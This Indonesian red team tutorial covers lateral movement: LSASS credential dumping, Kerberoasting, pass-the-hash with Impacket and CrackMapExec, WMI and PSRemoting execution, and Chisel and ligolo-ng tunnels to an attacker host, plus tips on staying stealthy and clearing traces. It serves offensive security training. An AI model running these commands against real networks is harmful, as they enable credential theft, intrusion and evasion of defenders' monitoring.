Belajar Red Team Operator - Lateral Movement & Pivoting

#Pendahuluan

Setelah di episode 5 kita mempelajari payload development & evasion — custom implants, packing, dan AV/EDR bypass — pada episode ini kita masuk ke fase kritis dalam red team operations: lateral movement & pivoting. Setelah mendapatkan foothold di satu host, kalian harus bisa bergerak ke host lain untuk mencapai objective.

Lateral movement dalam red team berbeda dari pentesting: kalian harus tetap stealth sambil bergerak, menghindari detection dari EDR, SIEM, dan network monitoring.

#Credential Harvesting

#LSASS Dump

bash

# Mimikatz (classic)
sekurlsa::logonpasswords
 
# Pypykatz (Python-based, OPSEC better)
pypykatz lsa minidump lsass.dmp
 
# Nanodump (stealthy)
nanodump --write /tmp/lsass.dmp

#Kerberos Attacks

bash

# Kerberoasting
impacket-GetUserSPNs domain/user:password -request
 
# AS-REP Roasting
impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip dc_ip
 
# Ticket extraction
mimikatz # kerberos::list /export

#Pass-the-Hash (PtH)

bash

# Impacket psexec
impacket-psexec domain/user@target -hashes :aad3b435b51404ee:hash
 
# CrackMapExec
crackmapexec smb target -u user -H hash
 
# Evil-WinRM
evil-winrm -i target -u user -H hash

#PSRemoting (WinRM)

powershell

# Enable PSRemoting (if needed)
Enable-PSRemoting -Force
 
# Remote session
Enter-PSSession -ComputerName target -Credential $cred
 
# Execute command
Invoke-Command -ComputerName target -ScriptBlock {
    whoami; hostname
}
 
# File copy
Copy-Item -Path "C:\payload.exe" -Destination "C:\temp\payload.exe" -ToSession $session

#WMI Execution

bash

# Impacket wmiexec
impacket-wmiexec domain/user:password@target
 
# CrackMapExec
crackmapexec smb target -u user -p pass -X "whoami"
 
# PowerShell
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target

#Tunneling & Pivoting

#Chisel — SOCKS Proxy

bash

# Server (attacker)
chisel server --reverse --port 8080
 
# Client (compromised host)
chisel client attacker:8080 R:socks
 
# Use proxychains
proxychains nmap -sT 10.0.0.0/24

#SSH Tunneling

bash

# Local port forwarding
ssh -L 3389:target:3389 user@compromised
 
# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@compromised
 
# Remote port forwarding
ssh -R 8080:localhost:8080 user@compromised

#ligolo-ng

bash

# Proxy (attacker)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
 
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
 
# Agent (compromised host)
ligolo-agent -connect attacker:11601 -ignore-cert
 
# Di proxy: start session, add internal route
>>> ifconfig
>>> start
>>> ip r add 10.0.0.0/24 dev ligolo

#Lateral Movement OPSEC

text

Lateral Movement OPSEC
========================
1. Gunakan non-default ports
2. Gunakan legitimate tools (LOLBins)
3. Hapus痕迹 setelah selesai
4. Monitor detection response
5. Rotate credentials jika detected
6. Gunakan credential caching (dcc2)

#OPSEC Comparison

Method	Stealth	Speed	Reliability
PSRemoting	Medium	Fast	High
WMI	Medium	Fast	High
PsExec	Low	Fast	High
SMB	Low	Fast	High
SSH	High	Medium	High
RDP	Medium	Slow	High

Tip

Gunakan CrackMapExec untuk testing lateral movement secara massal — bisa test credentials ke multiple hosts sekaligus. Monitor response untuk mengidentifikasi mana yang terdeteksi.

#Praktik: Lateral Movement Lab

bash

# 1. Dump credentials dari compromised host
pypykatz lsa minidump lsass.dmp
 
# 2. Use hash untuk lateral movement
impacket-psexec domain/user@workstation2 -hashes :hash
 
# 3. Setup tunnel
chisel client attacker:8080 R:socks
 
# 4. Scan internal network
proxychains nmap -sT 10.0.0.0/24
 
# 5. Continue until objective achieved

#Penutup

Inti yang harus dibawa pulang:

Credential harvesting: LSASS dump, Kerberoasting, AS-REP Roasting.
Pass-the-Hash: Impacket, CrackMapExec, Evil-WinRM.
PSRemoting/WMI: remote execution tanpa new service.
Tunneling: Chisel, SSH, ligolo-ng untuk pivoting ke internal networks.
OPSEC: stealth, LOLBins, trace cleanup, detection awareness.

Di episode 7 selanjutnya, kita akan mempelajari Active Directory attack chains — Kerberos attacks, GPO abuse, ADCS exploitation, dan full AD compromise chains.